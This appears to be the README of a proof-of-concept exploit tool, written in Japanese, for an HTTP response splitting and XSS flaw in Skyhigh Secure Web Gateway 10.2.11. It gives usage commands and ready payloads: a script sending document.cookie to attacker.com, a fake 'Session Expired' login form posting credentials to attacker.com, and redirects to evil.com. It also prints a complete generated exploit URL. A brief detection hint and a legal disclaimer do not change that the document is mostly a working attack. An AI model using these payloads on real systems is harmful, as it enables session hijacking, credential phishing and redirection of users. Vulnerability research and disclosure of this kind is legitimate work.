
Secure Web Gateway 10.2.11 - クロスサイトスクリプティング (XSS)
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝
by 0PTS
Skyhigh Secure Web Gateway(旧McAfee Web Gateway)におけるHTTP Response Splitting脆弱性のProof of Concept。
Skyhigh Secure Web Gatewayにおける深刻なHTTP Response Splitting脆弱性。任意のHTML/JavaScriptコードの注入を通じてリモートからXSS攻撃を実行可能。
脆弱性はプラグイン"Ssos"(アクションSetLoginToken)に存在し、URLパラメータを適切に処理しません。
改行文字(\r\n / %0d%0a)がエスケープされないため、攻撃者は以下が可能:
Content-TypeとContent-Lengthを上書きブラウザは正しく形成されたContent-Length以降のレスポンスの残りの内容を無視するため、表示されるコンテンツを完全に置き換えることができます。
python explot.py
# 基本的なXSS
python explot.py -d example.com -p "<script>alert(document.domain)</script>"
# リダイレクト
python explot.py -d target.com -p '<meta http-equiv="refresh" content="0;url=https://evil.com/">'
# フィッシングフォーム
python explot.py -d bank.com -p '<form action="https://evil.com/steal"><input name="pass" placeholder="Password"><button>Login</button></form>'
# URLのみ(サイレントモード)
python explot.py -d example.com -p "<script>alert(1)</script>" -q
-d, --domain ターゲットドメイン(デフォルト: google.com)
-x, --prefix URLパス接頭辞(デフォルト: SWG内部パス)
-p, --payload HTML/JavaScriptペイロード
-q, --quiet サイレントモード - URLのみ出力
-v, --version スクリプトのバージョン
-h, --help ヘルプ
<script>fetch('https://attacker.com/log?c='+document.cookie)</script>
<html>
<body style="font-family:Arial">
<h2>Session Expired - Please Login Again</h2>
<form action="https://attacker.com/phish" method="POST">
<input type="text" name="user" placeholder="Username"><br>
<input type="password" name="pass" placeholder="Password"><br>
<button>Login</button>
</form>
</body>
</html>
<meta http-equiv="refresh" content="0;url=https://malicious-site.com/">
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝
[+] Target Domain: example.com
[+] Payload Length: 43 bytes
[+] URL Length: 234 chars
[+] Generated URL:
http://example.com/mwg-internal/de5fs23hu73ds/plugin?target=Ssos&action=SetLoginToken&v=1&c=1&p=p%0D%0AContent-Type%3A%20text%2Fhtml%3Bcharset%3Dutf-8%0D%0AContent-Length%3A%2043%0D%0A%0D%0A%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
/mwg-internal/*への不審なリクエストを監視⚠️ 注意: このツールは以下の用途にのみ使用されます:
所有者の明示的な許可なくシステムに対して使用することは違法です。
██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝ ██║ ███████╗
████╔╝██║██╔═══╝ ██║ ╚════██║
╚██████╔╝██║ ██║ ███████║
╚═════╝ ╚═╝ ╚═╝ ╚══════╝